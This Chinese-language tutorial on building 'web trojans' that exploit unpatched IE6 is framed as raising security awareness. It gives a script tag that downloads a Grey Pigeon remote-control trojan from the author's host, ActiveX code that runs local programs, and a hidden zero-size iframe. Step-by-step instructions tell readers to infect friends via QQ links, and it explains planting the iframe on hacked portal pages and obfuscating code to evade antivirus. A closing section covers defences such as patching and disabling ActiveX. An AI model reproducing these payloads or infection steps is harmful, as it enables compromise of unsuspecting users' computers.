事物都有两面性。本文介绍的网页木马制作技巧,意在加强大家的防范意识,而不是想“荼毒生灵”。希望能给大家带来一些帮助,营造一个安全的上网环境。
如果你访问××网站(国内某门户网站),你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页,经检查,我确实中了灰鸽子。怎么实现的呢?他说,他侵入了该网站的服务器并在网站主页上挂了网页木马;一些安全专家常说,不要打开陌生人发来的网址,为什么?因为该网址很有可能就是一些不怀好意者精心制作的网页木马。
以上只是网页木马的两种形式,实际上网页木马还可以挂在多媒体文件(RM、RMVB、WMV、WMA、Flash)、电子邮件、论坛等多种文件和场合上。很可怕吧,那么用户如何防范网页木马呢?下面我们就先从网页木马的攻击原理说起。
一、网页木马的攻击原理
首先明确,网页木马实际上是一个HTML网页,与其它网页不同的是该网页是黑客精心制作的,用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢?因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞,让IE在后台自动下载黑客放置在网络上的木马并运行(安装)这个木马,也就是说,这个网页能下载木马到本地并运行(安装)下载到本地电脑上的木马,整个过程都在后台运行,用户一旦打开这个网页,下载过程和运行(安装)过程就自动开始。
有朋友会说,打开一个网页,IE浏览器真的能自动下载程序和运行程序吗?如果IE真的能肆无忌惮地任意下载和运行程序,那天下还不大乱。实际上,为了安全,IE浏览器是禁止自动下载程序特别是运行程序的,但是,IE浏览器存在着一些已知和未知的漏洞,网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。
⒈自动下载程序
<SCRIPT LANGUAGE="icyfoxlovelace" src="http://go163go.vicp.net/1.exe"></SCRIPT>
小提示:代码说明
a. 代码中“src”的属性为程序的网络地址,本例中“http://go163go.vicp.net/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序,这段代码能让网页下载该程序到浏览它的电脑上。
b. 也可以把木马程序上传到免费的主页空间上去,但免费空间出于安全的考虑,多数不允许上传exe文件,黑客可能变通一下把扩展名exe改为bat或com,这样他们就可以把这些程序上传到服务器上了。
把这段代码插入到网页源代码的</BODY>…</BODY>之间(如图1),然后用没打补丁的IE6打开,接下来,打开IE的临时目录<Temporary Internet Files>,你会发现,在该文件夹中有一个“1.exe”文件,这也就是说,该网页已自动下载了我放置在Web服务器上的灰鸽子木马。
图1 网页木马示例
相关链接:
无毒神话被打破:Mac OS X首遇木马
新木马竟"绑架"用户文件 索要300美元赎金
让网页木马滚开 | 4月5日灰鸽子大范围发作
小提示:灰鸽子木马
为什么一定要用灰鸽子木马呢?因为灰鸽子是反弹型木马,该木马能绕过天网等大多数防火墙的拦截,中马后,服务端即被控端能主动连接控制端(客户端),也就是说,一旦被控端连接到Internet,在控制端那里,被控端就会“自动上线”(如图2)。
图2 灰鸽子控制短示例(汗!又一大毒枭:))
⒉自动运行程序
<SCRIPT LANGUAGE="javascript" type="text/javascript"> var shell=new ActiveXObject("shell.application"); shell.namespace("c:\\Windows\\").items().item("Notepad.exe").invokeverb(); </SCRIPT>
把这段代码插入到网页源代码的</BODY>…</BODY>之间,然后用IE打开该网页,你会发现,这段代码可以在没有打相关补丁的IE6中自动打开记事本。
这段代码使用了shell.application控件,该控件能使网页获得执行权限,替换代码中的“Notepad.exe”(记事本)程序,可以用它自动运行本地电脑上的任意程序。
通过以上的代码我们可以看出,利用IE的漏洞,也就是说在网页中插入适当的代码,IE完全可以自动下载和运行程序,不过,IE一旦打了相关补丁,这些代码就会失去作用。另外,这些代码要运行和下载程序,有些杀毒软件的网页监控会视它们为病毒,为了逃避追杀,黑客可能会使用一些工具对网页的源代码进行加密处理(如图3)。
图3 加密后的网页代码
相关链接:
无毒神话被打破:Mac OS X首遇木马
新木马竟"绑架"用户文件 索要300美元赎金
让网页木马滚开 | 4月5日灰鸽子大范围发作
二、网页木马的基本用法
理解了网页木马攻击的原理,我们可以制作自己的网页木马,但这需要你根据IE漏洞写出利用代码。实际上,在网上有很多高手已写出了一些漏洞的利用代码,有的还把它写成了可视化的程序。在搜索引擎输入“网页木马生成器”进行搜索,你会发现,在网上有很多利用IE的各种漏洞编写的网页木马生成器,它们大都为可视化的程序,只要你有一个木马(该木马必须把它放置到网络上),利用这些生成器你就可以立即生成一个网页,该网页就是网页木马,只要他人打开这个网页,该网页就可以自动完成下载木马并运行(安装)木马的过程。
在我的电脑上我已下载了一个网页木马生成器,下面我们来看怎么生成网页木马并让他人中木马。
第一步:启动该网页木马生成器,如图4所示,在文本框中输入木马的网络地址,最后单击“生成”。
图4 网页木马生成器
第二步:在网页木马生成器的安装文件夹会生成一个网页文件,该文件就是我们在上一步生成的网页木马。上传该文件到自己的Web服务器或免费主面空间。
现在好了,把上述网页在服务器上的地址(网址)通过QQ发给自己的好友,一旦他访问了该网页,该网页就会在他的电脑上自动下载并运行你放置在网络上的木马。
现在你该明白安全专家劝告的“不要打开陌生人发来的网络地址”这句话的真谛了吧!实际上,即使人人都不打开陌生人发来的网址,也仍然有一些人“飞蛾补灯,自寻死路”,因为若大的Internet,总会有一些人会有意或无意地访问这些网址,而且,有些网页木马,还挂在一些知名网站上(根据知名网站的访问量,你算算吧,每天有多少人中了木马!)。
小提示:你可能还没想到,看电影,在论坛查看或回复帖子也能中木马。实际上,网页木马还可以挂在多媒体文件、电子邮件、论坛、CHM电子书上,这样,用户一旦观看电影、查看或预览邮件(主要是一些用电子邮件群发器发送的垃圾邮件)、参与帖子,打开电子书,用户就会中网页木马。
在下面我们只介绍黑客如何在知名网站上挂网页木马。下面来看这一段代码:iframe src="http://go163go.vicp.net/hk.htm" width="0" height="0" frameborder="0"></iframe>
相关链接:
无毒神话被打破:Mac OS X首遇木马
新木马竟"绑架"用户文件 索要300美元赎金
让网页木马滚开 | 4月5日灰鸽子大范围发作
小提示:“src”的属性“http://go163go.vicp.net/hk.htm”是上传到服务器上的网页木马的网址。
把这段代码插入到某门户网站首页源代码的</BODY>…</BODY>之间,从表面上看,插入后该门户的首页并没有什么变化,但是,所有访问了该门户网站首页的人都会中木马,为什么会这样呢?这是因为这段代码中<iframe>标签把网页木马网页隐藏性地“包含”在了插入代码的网页当中。
<iframe>也叫浮动帧标签,它可以把一个HTML网页嵌入到另一个网页里实现“画中画”的效果(如图5),被嵌入的网页可以控制宽、高以及边框大小和是否出现滚动条等。在上代代码中,因为把宽(width)、高(height)、边框(frameborder)都设置为了“0”,所以,上述代码插入到门户网站的首页后,网站的首页不会发生变化,但是,由于嵌入的网页实际上已经打开了,所以网页上的下载木马和运行木马的脚本还是会随着门户首页的打开而执行的。
图5 iframe标签示例
也许有人会问,如何把上述代码插入到门户网站首页的源代码中?这个问题问得好,本人才疏学浅,确实无法进入他们的服务器修改网页,但是黑客如果发现了这些服务器上的漏洞且获得了webshell权限,那么修改他们的网页就跟在本地制作一个网页一样容易。
有人还问,拿到服务器的webshell权限容易吗?如果你对网络安全比较关注,你会发现,经常有这个网站被黑了,那个网站的主页被修改了的新闻爆出。
有人还问,门户的服务器几乎无漏洞可找,个人服务器的漏洞较多,你能进入吗?本人不是黑客,中华人民共和国的法律规定,入侵和篡改他人服务器上的信息是违法行为,希望大家共同维护网络安全。
以前,在网上打开一些有名的网站时杀毒软件也会报警,现在你明白其中的道理了吧。有些人在这些网站发帖子骂娘,看了本文,希望在骂娘时你也能为那些垫背的站长想想。
相关链接:
无毒神话被打破:Mac OS X首遇木马
新木马竟"绑架"用户文件 索要300美元赎金
让网页木马滚开 | 4月5日灰鸽子大范围发作
三:网页木马的防范策略
网页木马的防范只靠杀毒软件和防火墙是远远不够的,因为一旦黑客使用了反弹端口的个人版木马(个人反汇编的一些杀毒软件无法识别的木马),那么杀毒软件和防火墙就无可奈何,所以,网页木马的防范要从它的原理入手,从根子上进行防范。
㈠即时安装安全补丁
网页木马都是利用IE漏洞进行传播的,我们拿冰狐浪子的网页木马(用“冰狐浪子网页木马生成器”制作的网页木马)来说吧,该网页能绕过IE的安全设置,当用户连接到该网页时,它能在普通用户不知情的情况下在后台下载一个木马并运行(安装)该木马。所以,经常到微软网站去下载并安装最新的安全补丁是防范网页木马比较有效的办法。
㈡改名或卸载(反注册)最不安全的ActiveXObject(IE插件)
在系统中有些ActiveXObject会运行EXE程序,比如本文中“自动运行程序”代码中的Shell.application控件,这些控件一旦在网页中获得了执行权限,那么它就会变为木马运行的“温床”,所以把这些控件改名或卸载能彻底防范利用这些控件的网页木马。但是ActiveXObject是为了应用而出现的,而不是为了攻击而出现的,所有的控件都有它的用处,所以在改名或卸载一个控件之前,你必须确认这个控件是你不需要的,或者即使卸载了也不关大体的。
⒈卸载(反注册)ActiveXObject
第一步:在“开始”菜单上单击“运行”,输入“CMD”命令打开命令提示符窗口。
第二步:在命令提示符下输入“regsvr32.exe shell32.dll /u/s”,然后回车就能将Shell.application控件卸载。
如果日后我们希望继续使用这个控件的话,可以在命令提示符窗口中输入“regsvr32.exe shell32.dll /i/s”命令将它们重新安装(注册)。在上述命令中:“regsvr32.exe”是注册或反注册OLE对象或控件的命令,[/u]是反注册参数,[/s]是寂静模式参数,[/I]为安装参数。
⒉改名ActiveXObject
需要说明的是,改名一个控件时,控件的名称和CLSID(Class ID)都要改,并且要改彻底了。下面仍以Shell.application为例来介绍方法。
第一步:打开注册表编辑器,查找“Shell.application”。用这个方法能找到两个注册表项:“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。
第二步:把{13709620-C279-11CE-A49E-444553540000}改为{13709620-C279-11CE-A49E-444553540001},注意,不要和系统中的其它CLSID重复。
第三步:把“Shell.application”改名为“Shell.application_xxx”。以后用到这个控件的时候你使用这个名称就可以正常调用此控件了。
相关链接:
无毒神话被打破:Mac OS X首遇木马
新木马竟"绑架"用户文件 索要300美元赎金
让网页木马滚开 | 4月5日灰鸽子大范围发作
㈢提高IE的安全级别,禁用脚本和ActiveX控件
经笔者的测试,用冰狐浪子的“网页木马专业版生成器”生成的网页木马,只要调高IE的安全级别,或者禁用脚本,该网页木马就不起作用了。从木马的攻击原理我们可以看出,网页木马是利用IE脚本和ActiveX控件上的一些漏洞下载和运行木马的,只要我们禁用了脚本和ActiveX控件,就可以防止木马的下载和运行。
小提示:禁用脚本和ActiveX控件会使一些网页的功能和效果失去作用,所以是否禁用,你要根据自己对安全的需要来定。
第一步:在IE浏览器的菜单栏上选择“工具→Internet选项”打开“Internet选项”对话框。
第二步:在“安全”选项卡上,在Internet和本地Internet区域,分别把滑块移动到最高(如图6),或者点击“自定义级别”,在打开的对话框上禁用脚本,禁用ActiveX控件。